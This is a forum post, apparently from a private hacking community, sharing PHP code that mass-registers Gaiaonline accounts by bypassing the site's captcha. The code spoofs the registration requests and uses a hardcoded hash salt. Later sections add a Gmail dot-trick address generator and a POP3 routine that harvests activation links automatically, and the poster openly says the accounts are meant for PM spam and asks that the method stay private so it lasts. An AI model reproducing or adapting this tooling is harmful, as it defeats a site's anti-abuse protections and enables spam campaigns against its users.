Gaiaonline - Register account w/o captcha
function create_account($Username, $Password, $Email, $DOB)
{
$dob = urlencode($DOB);
// Encode the email
$EncodedEmail = urlencode($Email);
$EncodedEmail = str_replace('.', '%2E', $EncodedEmail);
$html = $this->httpClient->HTTPRequest('GET', 'http://www.gaiaonline.com/gapi/rest/registration/initialize?t=875', null, array(), false);
$Vals = unserialize($html);
$Nonce = $Vals['n'];
// fls
$html = $this->httpClient->HTTPRequest('GET', 'http://www.gaiaonline.com/internal/fls_t.php?fid=1202&cls=reg.gaia.picker&tm=' . time() . rand(200,300), null);
$html = $this->httpClient->HTTPRequest('GET', 'http://www.gaiaonline.com/internal/fls_t.php?fid=1202&cls=reg.gaia.nocaptcha&tm=' . time() . rand(300,400), null);
// Set avatar
$html = $this->httpClient->HTTPRequest('POST', 'http://www.gaiaonline.com/gapi/rest/registration/setavatar?', 'mouth=18349&gender=m&eyes=18535&base=10016&n=' . str_replace('.', '%2E', $Nonce) . '&hair=19129&outfit=21061', array('Referer' => 'http://s.cdn.gaiaonline.com/images/Gaia_Flash/registration/uiRegistration.swf?version=40'));
$Hash = md5($Nonce . '8elly8eansvryhngry');
$URL = 'http://www.gaiaonline.com/gapi/rest/registration/setuserinfo?';
$Post = 'email%5Falert=0&password%5Fconfirm=' . $Password . '&n=' . str_replace('.', '%2E', $Nonce) . '&password=' . $Password . '&accept%5Ftos=1&fb%5Fuid=&email=' . $EncodedEmail . '&hash=' . $Hash . '&username=' . $Username . '&dob=' . $dob . '&fb%5Fsessionkey=&recaptcha%5Fresponse%5Ffield=bypass';
$html = $this->httpClient->HTTPRequest('POST', $URL, $Post, array('Referer' => 'http://s.cdn.gaiaonline.com/images/Gaia_Flash/registration/uiRegistration.swf?version=40'), false);
$Html = $this->httpClient->HTTPRequest('POST', 'http://avatarsave.gaiaonline.com/gapi/rest/registration/createaccount?fb_sessionkey=&fb_uid=&n=' . $Nonce, null);
if($html == 'b:1;') return true;
else return false;
}Won't post the socket client, you all should probably have one. As the title implies, it creates Gaiaonline accounts without worrying about the captcha. Don't share outside of the LG, don't use on any public programs.
Do not use in programs for UG Bronze and below. Longer this stays private, longer it will last. Only use in UG Silver or private programs
---
Edit: also, if you auto verify the accounts you can make some decent spammers (at least PM spammers). Protip: use the GMail dot trick to register all accounts with the same email (example source below). Then, enable your gmail account for POP access, and simply connect and retrieve the latest mails.
Example: generate a different email each time.
$User = explode("@", $Email);
$New = null;
// Gmail dot trick
if(strtolower($User[1]) == 'gmail.com')
{
for($x = 0; $x < strlen($User[0]); $x++)
{
$New .= $User[0][$x];
if($x != (strlen($User[0]) - 1))
for($y = 0; $y < rand(3,6); $y++)
$New .= '.';
}
} else $New = $User[0];
// Encode the email
$EncodedEmail = urlencode($New . '@' . $User[1]);
$EncodedEmail = str_replace('.', '%2E', $EncodedEmail);[/1][/0][/0][/0][/0][/1]I used a publicly available POP3 email class in PHP to retrieve emails. My verification function was then:
// Verify the account
function Verify($Username)
{
include_once("includes/pop3.php");
$pop3 = new POP3();
$pop3->pUSERPASS('username@gmail.com','password');
if($pop3->error){echo 'ERROR: '.$pop3->error; exit(0); }
$messages = $pop3->pLIST();
$URL = null;
for($x = 1; $x < count($messages); $x++)
{
$Message = $pop3->pRETR(count($messages) - $x + 1);
if(stripos($Message, $Username) <> 0)
{
if(stripos($Message, 'gaiaonline.com/account/activate/') <> 0)
{
$tmp = explode("\n", $Message);
foreach($tmp as $Line)
{
if(stripos($Line, 'gaiaonline.com/account/activate/') <> 0)
{
$URL = str_replace(array(" ", "\n", "\r", "\r\n"), null, $Line);
break;
}
}
}
}
}
if($URL != null) return $URL;
else return 'Error';
$pop3->pQUIT();
}
Thanks, ima use this to teach my buddy php.